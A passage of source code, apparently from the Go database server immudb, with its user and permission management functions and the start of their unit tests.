(*empty.Empty, error) {\n\ts.Logger.Debugf(\"CreateUser\")\n\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\tif !s.Options.GetAuth() {\n\t\treturn nil, fmt.Errorf(\"this command is available only with authentication on\")\n\t}\n\n\t_, loggedInuser, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(r.User) == 0 {\n\t\treturn nil, fmt.Errorf(\"username can not be empty\")\n\t}\n\n\tif (len(r.Database) == 0) && s.multidbmode {\n\t\treturn nil, fmt.Errorf(\"database name can not be empty when there are multiple databases\")\n\t}\n\n\tif (len(r.Database) == 0) && !s.multidbmode {\n\t\tr.Database = DefaultDBName\n\t}\n\n\t//check if database exists\n\tif s.dbList.GetId(r.Database) < 0 {\n\t\treturn nil, fmt.Errorf(\"database %s does not exist\", r.Database)\n\t}\n\n\t//check permission is a known value\n\tif (r.Permission == auth.PermissionNone) ||\n\t\t(r.Permission > auth.PermissionRW && r.Permission < auth.PermissionAdmin) {\n\t\treturn nil, fmt.Errorf(\"unrecognized permission\")\n\t}\n\n\t//if the requesting user has admin permission on this database\n\tif (!loggedInuser.IsSysAdmin) &&\n\t\t(!loggedInuser.HasPermission(r.Database, auth.PermissionAdmin)) {\n\t\treturn nil, fmt.Errorf(\"you do not have permission on this database\")\n\t}\n\n\t//do not allow to create another system admin\n\tif r.Permission == auth.PermissionSysAdmin {\n\t\treturn nil, fmt.Errorf(\"can not create another system admin\")\n\t}\n\n\t_, err = s.getUser(ctx, r.User)\n\tif err == nil {\n\t\treturn nil, fmt.Errorf(\"user already exists\")\n\t}\n\n\t_, _, err = s.insertNewUser(ctx, r.User, r.Password, r.GetPermission(), r.Database, loggedInuser.Username)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.Logger.Infof(\"user %s was created by user %s\", r.User, loggedInuser.Username)\n\n\treturn &empty.Empty{}, nil\n}\n\n// ListUsers returns a list of users based on the requesting user permissions\nfunc (s *ImmuServer) ListUsers(ctx context.Context, req *empty.Empty) (*schema.UserList, error) {\n\ts.Logger.Debugf(\"ListUsers\")\n\n\tloggedInuser := &auth.User{}\n\tvar db database.DB\n\tvar err error\n\tuserlist := &schema.UserList{}\n\n\tif !s.Options.GetMaintenance() {\n\t\tif !s.Options.GetAuth() {\n\t\t\treturn nil, fmt.Errorf(\"this command is available only with authentication on\")\n\t\t}\n\n\t\tvar dbInd int\n\n\t\tdbInd, loggedInuser, err = s.getLoggedInUserdataFromCtx(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif dbInd >= 0 {\n\t\t\tdb, err = s.dbList.GetByIndex(dbInd)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t}\n\n\titemList, err := s.sysDB.Scan(ctx, &schema.ScanRequest{\n\t\tPrefix: []byte{KeyPrefixUser},\n\t\tNoWait: true,\n\t})\n\tif err != nil {\n\t\ts.Logger.Errorf(\"error getting users: %v\", err)\n\t\treturn nil, err\n\t}\n\n\tif loggedInuser.IsSysAdmin || s.Options.GetMaintenance() {\n\t\t// return all users, including the deactivated ones\n\t\tfor i := 0; i < len(itemList.Entries); i++ {\n\t\t\titemList.Entries[i].Key = itemList.Entries[i].Key[1:]\n\n\t\t\tusr, err := unmarshalSchemaUser(itemList.Entries[i].Value)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tuserlist.Users = append(userlist.Users, usr)\n\t\t}\n\t\treturn userlist, nil\n\t} else if db != nil && loggedInuser.WhichPermission(db.GetName()) == auth.PermissionAdmin {\n\t\t// for admin users return only users for the database that is has selected\n\t\tselectedDbname := db.GetName()\n\t\tuserlist := &schema.UserList{}\n\n\t\tfor i := 0; i < len(itemList.Entries); i++ {\n\t\t\titemList.Entries[i].Key = itemList.Entries[i].Key[1:]\n\n\t\t\tusr, err := unmarshalSchemaUser(itemList.Entries[i].Value)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tinclude := false\n\n\t\t\tfor _, val := range usr.Permissions {\n\t\t\t\t//check if this user has any permission for this database\n\t\t\t\t//include in the reply only if it has any permission for the currently selected database\n\t\t\t\tif val.Database == selectedDbname {\n\t\t\t\t\tinclude = true\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif include {\n\t\t\t\tuserlist.Users = append(userlist.Users, usr)\n\t\t\t}\n\t\t}\n\t\treturn userlist, nil\n\t} else {\n\t\t// any other permission return only its data\n\t\tusr, err := toSchemaUser(loggedInuser)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn &schema.UserList{Users: []*schema.User{usr}}, nil\n\t}\n}\n\nfunc unmarshalSchemaUser(data []byte) (*schema.User, error) {\n\tvar u auth.User\n\tif err := json.Unmarshal(data, &u); err != nil {\n\t\treturn nil, err\n\t}\n\tu.SetSQLPrivileges()\n\treturn toSchemaUser(&u)\n}\n\nfunc toSchemaUser(u *auth.User) (*schema.User, error) {\n\tpermissions := make([]*schema.Permission, len(u.Permissions))\n\tfor i, val := range u.Permissions {\n\t\tpermissions[i] = &schema.Permission{\n\t\t\tDatabase:   val.Database,\n\t\t\tPermission: val.Permission,\n\t\t}\n\t}\n\n\tprivileges := make([]*schema.SQLPrivilege, len(u.SQLPrivileges))\n\tfor i, p := range u.SQLPrivileges {\n\t\tprivileges[i] = &schema.SQLPrivilege{Database: p.Database, Privilege: p.Privilege}\n\t}\n\n\treturn &schema.User{\n\t\tUser:          []byte(u.Username),\n\t\tCreatedat:     u.CreatedAt.String(),\n\t\tCreatedby:     u.CreatedBy,\n\t\tPermissions:   permissions,\n\t\tSqlPrivileges: privileges,\n\t\tActive:        u.Active,\n\t}, nil\n}\n\n// ChangePassword ...\nfunc (s *ImmuServer) ChangePassword(ctx context.Context, r *schema.ChangePasswordRequest) (*empty.Empty, error) {\n\ts.Logger.Debugf(\"ChangePassword\")\n\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\tif !s.Options.GetAuth() {\n\t\treturn nil, fmt.Errorf(\"this command is available only with authentication on\")\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif string(r.User) == auth.SysAdminUsername {\n\t\tif err = auth.ComparePasswords(user.HashedPassword, r.OldPassword); err != nil {\n\t\t\treturn new(empty.Empty), status.Errorf(codes.PermissionDenied, \"old password is incorrect\")\n\t\t}\n\t}\n\n\tif !user.IsSysAdmin {\n\t\tif !user.HasAtLeastOnePermission(auth.PermissionAdmin) {\n\t\t\treturn nil, fmt.Errorf(\"user is not system admin nor admin in any of the databases\")\n\t\t}\n\t}\n\n\tif len(r.User) == 0 {\n\t\treturn nil, fmt.Errorf(\"username can not be empty\")\n\t}\n\n\ttargetUser, err := s.getUser(ctx, r.User)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"user %s was not found or it was not created by you\", string(r.User))\n\t}\n\n\t//if the user is not sys admin then let's make sure the target was created from this admin\n\tif !user.IsSysAdmin {\n\t\tif user.Username != targetUser.CreatedBy {\n\t\t\treturn nil, fmt.Errorf(\"user %s was not found or it was not created by you\", string(r.User))\n\t\t}\n\t}\n\n\t_, err = targetUser.SetPassword(r.NewPassword)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttargetUser.CreatedBy = user.Username\n\ttargetUser.CreatedAt = time.Now()\n\tif err := s.saveUser(ctx, targetUser); err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.Logger.Infof(\"password for user %s was changed by user %s\", targetUser.Username, user.Username)\n\n\t// remove user from logged in users\n\ts.removeUserFromLoginList(targetUser.Username)\n\n\t// invalidate the token for this user\n\tauth.DropTokenKeys(targetUser.Username)\n\n\treturn new(empty.Empty), nil\n}\n\n// ChangePermission grant or revoke user permissions on databases\nfunc (s *ImmuServer) ChangePermission(ctx context.Context, r *schema.ChangePermissionRequest) (*empty.Empty, error) {\n\ts.Logger.Debugf(\"ChangePermission %+v\", r)\n\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\t//sanitize input\n\t{\n\t\tif len(r.Username) == 0 {\n\t\t\treturn nil, status.Errorf(codes.InvalidArgument, \"username can not be empty\")\n\t\t}\n\n\t\tif len(r.Database) == 0 {\n\t\t\treturn nil, status.Errorf(codes.InvalidArgument, \"database can not be empty\")\n\t\t}\n\n\t\t_, err := s.dbList.GetByName(r.Database)\n\t\tif r.Database != SystemDBName && err != nil {\n\t\t\treturn nil, status.Errorf(codes.InvalidArgument, \"database does not exist\")\n\t\t}\n\n\t\tif (r.Action != schema.PermissionAction_GRANT) &&\n\t\t\t(r.Action != schema.PermissionAction_REVOKE) {\n\t\t\treturn nil, status.Errorf(codes.InvalidArgument, \"action not recognized\")\n\t\t}\n\t\tif (r.Permission == auth.PermissionNone) ||\n\t\t\t((r.Permission > auth.PermissionRW) &&\n\t\t\t\t(r.Permission < auth.PermissionAdmin)) {\n\t\t\treturn nil, status.Errorf(codes.InvalidArgument, \"unrecognized permission\")\n\t\t}\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//do not allow to change own permissions, user can lock itsself out\n\tif r.Username == user.Username {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"changing your own permissions is not allowed\")\n\t}\n\n\tif r.Username == auth.SysAdminUsername {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"changing sysadmin permissions is not allowed\")\n\t}\n\n\tif r.Database == SystemDBName && r.Permission == auth.PermissionRW {\n\t\treturn nil, ErrPermissionDenied\n\t}\n\n\t// check if user exists\n\ttargetUser, err := s.getUser(ctx, []byte(r.Username))\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.NotFound, \"user %s not found\", string(r.Username))\n\t}\n\n\t// target user should be active\n\tif !targetUser.Active {\n\t\treturn nil, status.Errorf(codes.FailedPrecondition, \"user %s is not active\", string(r.Username))\n\t}\n\n\t// check if requesting user has permission on this database\n\tif !user.IsSysAdmin {\n\t\tif !user.HasPermission(r.Database, auth.PermissionAdmin) {\n\t\t\treturn nil, status.Errorf(codes.PermissionDenied, \"you do not have permission on this database\")\n\t\t}\n\t}\n\n\tif r.Action == schema.PermissionAction_REVOKE {\n\t\ttargetUser.RevokePermission(r.Database)\n\t} else {\n\t\ttargetUser.GrantPermission(r.Database, r.Permission)\n\t}\n\n\ttargetUser.CreatedBy = user.Username\n\ttargetUser.CreatedAt = time.Now()\n\ttargetUser.SQLPrivileges = defaultSQLPrivilegesForPermission(r.Database, r.Permission)\n\ttargetUser.HasPrivileges = true\n\n\tif err := s.saveUser(ctx, targetUser); err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.Logger.Infof(\"permissions of user %s for database %s was changed by user %s\", targetUser.Username, r.Database, user.Username)\n\n\t// remove user from loggedin users\n\ts.removeUserFromLoginList(targetUser.Username)\n\n\treturn new(empty.Empty), nil\n}\n\n// SetActiveUser activate or deactivate a user\nfunc (s *ImmuServer) SetActiveUser(ctx context.Context, r *schema.SetActiveUserRequest) (*empty.Empty, error) {\n\ts.Logger.Debugf(\"SetActiveUser\")\n\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\tif !s.Options.GetAuth() {\n\t\treturn nil, fmt.Errorf(\"this command is available only with authentication on\")\n\t}\n\n\tif len(r.Username) == 0 {\n\t\treturn nil, fmt.Errorf(\"username can not be empty\")\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif !user.IsSysAdmin {\n\t\tif !user.HasAtLeastOnePermission(auth.PermissionAdmin) {\n\t\t\treturn nil, fmt.Errorf(\"user is not system admin nor admin in any of the databases\")\n\t\t}\n\t}\n\n\tif r.Username == user.Username {\n\t\treturn nil, fmt.Errorf(\"changing your own status is not allowed\")\n\t}\n\n\ttargetUser, err := s.getUser(ctx, []byte(r.Username))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"user %s not found\", r.Username)\n\t}\n\n\t//if the user is not sys admin then let's make sure the target was created from this admin\n\tif !user.IsSysAdmin && user.Username != targetUser.CreatedBy {\n\t\treturn nil, fmt.Errorf(\"%s was not created by you\", r.Username)\n\t}\n\n\ttargetUser.Active = r.Active\n\ttargetUser.CreatedBy = user.Username\n\ttargetUser.CreatedAt = time.Now()\n\n\tif err := s.saveUser(ctx, targetUser); err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.Logger.Infof(\"user %s was %s by user %s\", targetUser.Username, map[bool]string{\n\t\ttrue:  \"activated\",\n\t\tfalse: \"deactivated\",\n\t}[r.Active], user.Username)\n\n\t//remove user from loggedin users\n\ts.removeUserFromLoginList(targetUser.Username)\n\n\treturn new(empty.Empty), nil\n}\n\n// insertNewUser inserts a new user to the system database and returns username and plain text password\n// A new password is generated automatically if passed parameter is empty\n// If enforceStrongAuth is true it checks if username and password meet security criteria\nfunc (s *ImmuServer) insertNewUser(ctx context.Context, username []byte, plainPassword []byte, permission uint32, database string, createdBy string) ([]byte, []byte, error) {\n\tif !auth.IsValidUsername(string(username)) {\n\t\treturn nil, nil, status.Errorf(\n\t\t\tcodes.InvalidArgument,\n\t\t\t\"username can only contain letters, digits and underscores\")\n\t}\n\n\tuserdata := new(auth.User)\n\tplainpassword, err := userdata.SetPassword(plainPassword)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tuserdata.Active = true\n\tuserdata.HasPrivileges = true\n\tuserdata.Username = string(username)\n\tuserdata.Permissions = append(userdata.Permissions, auth.Permission{Permission: permission, Database: database})\n\tuserdata.SQLPrivileges = defaultSQLPrivilegesForPermission(database, permission)\n\tuserdata.CreatedBy = createdBy\n\tuserdata.CreatedAt = time.Now()\n\n\tif permission == auth.PermissionSysAdmin {\n\t\tuserdata.IsSysAdmin = true\n\t}\n\n\tif (permission > auth.PermissionRW) && (permission < auth.PermissionAdmin) {\n\t\treturn nil, nil, fmt.Errorf(\"unknown permission\")\n\t}\n\n\terr = s.saveUser(ctx, userdata)\n\n\treturn username, plainpassword, err\n}\n\nfunc (s *ImmuServer) getValidatedUser(ctx context.Context, username []byte, password []byte) (*auth.User, error) {\n\tuserdata, err := s.getUser(ctx, username)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = userdata.ComparePasswords(password)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn userdata, nil\n}\n\n// getUser returns userdata (username,hashed password, permission, active) from username\nfunc (s *ImmuServer) getUser(ctx context.Context, username []byte) (*auth.User, error) {\n\tkey := make([]byte, 1+len(username))\n\tkey[0] = KeyPrefixUser\n\tcopy(key[1:], username)\n\n\titem, err := s.sysDB.Get(ctx, &schema.KeyRequest{Key: key})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar usr auth.User\n\n\terr = json.Unmarshal(item.Value, &usr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tusr.SetSQLPrivileges()\n\treturn &usr, nil\n}\n\nfunc (s *ImmuServer) saveUser(ctx context.Context, user *auth.User) error {\n\tuserData, err := json.Marshal(user)\n\tif err != nil {\n\t\treturn logErr(s.Logger, \"error saving user: %v\", err)\n\t}\n\n\tuserKey := make([]byte, 1+len(user.Username))\n\tuserKey[0] = KeyPrefixUser\n\tcopy(userKey[1:], []byte(user.Username))\n\n\tuserKV := &schema.KeyValue{Key: userKey, Value: userData}\n\t_, err = s.sysDB.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{userKV}})\n\n\ttime.Sleep(time.Duration(10) * time.Millisecond)\n\n\treturn logErr(s.Logger, \"error saving user: %v\", err)\n}\n\nfunc (s *ImmuServer) removeUserFromLoginList(username string) {\n\ts.userdata.Lock()\n\tdefer s.userdata.Unlock()\n\n\tdelete(s.userdata.Userdata, username)\n}\n\nfunc (s *ImmuServer) addUserToLoginList(u *auth.User) {\n\ts.userdata.Lock()\n\tdefer s.userdata.Unlock()\n\n\ts.userdata.Userdata[u.Username] = u\n}\n\nfunc (s *ImmuServer) getLoggedInUserdataFromCtx(ctx context.Context) (int, *auth.User, error) {\n\tif sessionID, err := sessions.GetSessionIDFromContext(ctx); err == nil {\n\t\tsess, e := s.SessManager.GetSession(sessionID)\n\t\tif e != nil {\n\t\t\treturn 0, nil, e\n\t\t}\n\n\t\tif sess.GetDatabase().GetName() == SystemDBName {\n\t\t\treturn sysDBIndex, sess.GetUser(), nil\n\t\t}\n\n\t\treturn s.dbList.GetId(sess.GetDatabase().GetName()), sess.GetUser(), nil\n\t}\n\tjsUser, err := auth.GetLoggedInUser(ctx)\n\tif err != nil {\n\t\treturn -1, nil, err\n\t}\n\n\tu, err := s.getLoggedInUserDataFromUsername(jsUser.Username)\n\treturn int(jsUser.DatabaseIndex), u, err\n}\n\nfunc (s *ImmuServer) getLoggedInUserDataFromUsername(username string) (*auth.User, error) {\n\ts.userdata.Lock()\n\tdefer s.userdata.Unlock()\n\n\tuserdata, ok := s.userdata.Userdata[username]\n\tif !ok {\n\t\treturn nil, ErrNotLoggedIn\n\t}\n\n\treturn userdata, nil\n}\n\nfunc (s *ImmuServer) ChangeSQLPrivileges(ctx context.Context, r *schema.ChangeSQLPrivilegesRequest) (*schema.ChangeSQLPrivilegesResponse, error) {\n\ts.Logger.Debugf(\"ChangeSQLPrivileges %+v\", r)\n\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\t// sanitize input\n\t{\n\t\tif len(r.Username) == 0 {\n\t\t\treturn nil, status.Errorf(codes.InvalidArgument, \"username can not be empty\")\n\t\t}\n\t\tif _, err := s.dbList.GetByName(r.Database); err != nil {\n\t\t\treturn nil, status.Errorf(codes.InvalidArgument, \"%s\", err.Error())\n\t\t}\n\t\tif (r.Action != schema.PermissionAction_GRANT) &&\n\t\t\t(r.Action != schema.PermissionAction_REVOKE) {\n\t\t\treturn nil, status.Errorf(codes.InvalidArgument, \"action not recognized\")\n\t\t}\n\t}\n\n\tprivileges := make([]string, len(r.Privileges))\n\tfor i, p := range r.Privileges {\n\t\tif !isValidPrivilege(p) {\n\t\t\treturn nil, status.Errorf(codes.InvalidArgument, \"SQL privilege not recognized\")\n\t\t}\n\t\tprivileges[i] = string(p)\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//do not allow to change own permissions, user can lock itsself out\n\tif r.Username == user.Username {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"changing your own privileges is not allowed\")\n\t}\n\n\tif r.Username == auth.SysAdminUsername {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"changing sysadmin privileges is not allowed\")\n\t}\n\n\t// check if user exists\n\ttargetUser, err := s.getUser(ctx, []byte(r.Username))\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.NotFound, \"user %s not found\", r.Username)\n\t}\n\n\t// target user should be active\n\tif !targetUser.Active {\n\t\treturn nil, status.Errorf(codes.FailedPrecondition, \"user %s is not active\", r.Username)\n\t}\n\n\t// target user should have permission on the requested database\n\tif targetUser.WhichPermission(r.Database) == auth.PermissionNone {\n\t\treturn nil, status.Errorf(codes.FailedPrecondition, \"user %s doesn't have permission on database %s\", r.Username, r.Database)\n\t}\n\n\t// check if requesting user has permission on this database\n\tif !user.IsSysAdmin {\n\t\tif !user.HasPermission(r.Database, auth.PermissionAdmin) {\n\t\t\treturn nil, status.Errorf(codes.PermissionDenied, \"you do not have permission on this database\")\n\t\t}\n\t}\n\n\tif r.Action == schema.PermissionAction_REVOKE {\n\t\ttargetUser.RevokeSQLPrivileges(r.Database, privileges)\n\t} else {\n\t\ttargetUser.GrantSQLPrivileges(r.Database, privileges)\n\t}\n\n\ttargetUser.CreatedBy = user.Username\n\ttargetUser.CreatedAt = time.Now()\n\ttargetUser.HasPrivileges = true\n\n\tif err := s.saveUser(ctx, targetUser); err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.Logger.Infof(\"permissions of user %s for database %s was changed by user %s\", targetUser.Username, r.Database, user.Username)\n\n\t// remove user from loggedin users\n\ts.removeUserFromLoginList(targetUser.Username)\n\n\treturn &schema.ChangeSQLPrivilegesResponse{}, nil\n}\n\nfunc isValidPrivilege(p string) bool {\n\tswitch sql.SQLPrivilege(p) {\n\tcase sql.SQLPrivilegeSelect,\n\t\tsql.SQLPrivilegeCreate,\n\t\tsql.SQLPrivilegeInsert,\n\t\tsql.SQLPrivilegeUpdate,\n\t\tsql.SQLPrivilegeDelete,\n\t\tsql.SQLPrivilegeDrop,\n\t\tsql.SQLPrivilegeAlter:\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc defaultSQLPrivilegesForPermission(database string, permission uint32) []auth.SQLPrivilege {\n\tsqlPrivileges := sql.DefaultSQLPrivilegesForPermission(sql.PermissionFromCode(permission))\n\tprivileges := make([]auth.SQLPrivilege, len(sqlPrivileges))\n\tfor i, p := range sqlPrivileges {\n\t\tprivileges[i] = auth.SQLPrivilege{\n\t\t\tDatabase:  database,\n\t\t\tPrivilege: string(p),\n\t\t}\n\t}\n\treturn privileges\n}\n"
  },
  {
    "path": "pkg/server/user_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\nfunc TestServerLogin(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\n\ts.Initialize()\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\tresp, err := s.Login(context.Background(), r)\n\trequire.NoError(t, err)\n\tif len(resp.Token) == 0 {\n\t\tt.Fatalf(\"login token is empty\")\n\t}\n\tif len(resp.Warning) == 0 {\n\t\tt.Fatalf(\"default immudb password missing warning\")\n\t}\n}\n\nfunc TestServerLogout(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\n\ts.Initialize()\n\n\t_, err := s.Logout(context.Background(), &emptypb.Empty{})\n\tif err == nil || err.Error() != ErrNotLoggedIn.Message() {\n\t\tt.Fatalf(\"Logout expected error, got %v\", err)\n\t}\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\tctx := context.Background()\n\tl, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\tm := make(map[string]string)\n\tm[\"Authorization\"] = \"Bearer \" + string(l.Token)\n\tctx = metadata.NewIncomingContext(ctx, metadata.New(m))\n\t_, err = s.Logout(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n}\n\nfunc TestServerLoginLogoutWithAuthDisabled(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithMetricsServer(false).\n\t\tWithAuth(false)\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\n\ts.Initialize()\n\n\t_, err := s.Logout(context.Background(), &emptypb.Empty{})\n\trequire.NotNil(t, err)\n\trequire.ErrorContains(t, err, ErrAuthDisabled)\n}\n\nfunc TestServerListUsersAdmin(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\n\ts.Initialize()\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\tctx := context.Background()\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\tnewdb := &schema.DatabaseSettings{\n\t\tDatabaseName: testDatabase,\n\t}\n\t_, err = s.CreateDatabaseWith(ctx, newdb)\n\trequire.NoError(t, err)\n\n\terr = s.CloseDatabases()\n\trequire.NoError(t, err)\n\n\ts.dbList = database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) {\n\t\treturn database.OpenDB(name, s.multidbHandler(), opts, s.Logger)\n\t}, 10, logger.NewMemoryLogger()))\n\ts.sysDB = nil\n\n\terr = s.loadSystemDatabase(s.Options.Dir, nil, auth.SysAdminPassword, false)\n\trequire.NoError(t, err)\n\n\terr = s.loadDefaultDatabase(s.Options.Dir, nil)\n\trequire.NoError(t, err)\n\n\terr = s.loadUserDatabases(s.Options.Dir, nil)\n\trequire.NoError(t, err)\n\n\tusers1, err := s.ListUsers(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n\trequire.GreaterOrEqual(t, len(users1.Users), 1)\n\n\tnewUser := &schema.CreateUserRequest{\n\t\tUser:       testUsername,\n\t\tPassword:   testPassword,\n\t\tDatabase:   testDatabase,\n\t\tPermission: auth.PermissionAdmin,\n\t}\n\t_, err = s.CreateUser(ctx, newUser)\n\trequire.NoError(t, err)\n\ts.multidbmode = true\n\tlr, err = s.Login(ctx, &schema.LoginRequest{User: testUsername, Password: testPassword})\n\trequire.NoError(t, err)\n\tmd = metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\tur, err := s.UseDatabase(ctx, &schema.Database{\n\t\tDatabaseName: testDatabase,\n\t})\n\trequire.NoError(t, err)\n\tmd = metadata.Pairs(\"authorization\", ur.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\tusers, err := s.ListUsers(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n\tif len(users.Users) < 1 {\n\t\tt.Fatalf(\"List users, expected >1 got %v\", len(users.Users))\n\t}\n\n\tlr, err = s.Login(ctx, &schema.LoginRequest{User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword)})\n\trequire.NoError(t, err)\n\tmd = metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\trequire.NoError(t, err)\n\tusers, err = s.ListUsers(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n\tif len(users.Users) < 1 {\n\t\tt.Fatalf(\"List users, expected >1 got %v\", len(users.Users))\n\t}\n\trequire.Equal(t, len(users1.Users)+1, len(users.Users))\n\n\tnewUser = &schema.CreateUserRequest{\n\t\tUser:       []byte(\"rwuser\"),\n\t\tPassword:   []byte(\"rwuserPas@1\"),\n\t\tDatabase:   testDatabase,\n\t\tPermission: auth.PermissionRW,\n\t}\n\t_, err = s.CreateUser(ctx, newUser)\n\trequire.NoError(t, err)\n\ts.multidbmode = true\n\n\tlr, err = s.Login(ctx, &schema.LoginRequest{User: []byte(\"rwuser\"), Password: []byte(\"rwuserPas@1\")})\n\trequire.NoError(t, err)\n\tmd = metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\tur, err = s.UseDatabase(ctx, &schema.Database{\n\t\tDatabaseName: testDatabase,\n\t})\n\trequire.NoError(t, err)\n\tmd = metadata.Pairs(\"authorization\", ur.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\tusers, err = s.ListUsers(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n\tif len(users.Users) < 1 {\n\t\tt.Fatalf(\"List users, expected >1 got %v\", len(users.Users))\n\t}\n}\n\nfunc TestServerUsermanagement(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\n\ts.Initialize()\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\tctx := context.Background()\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = 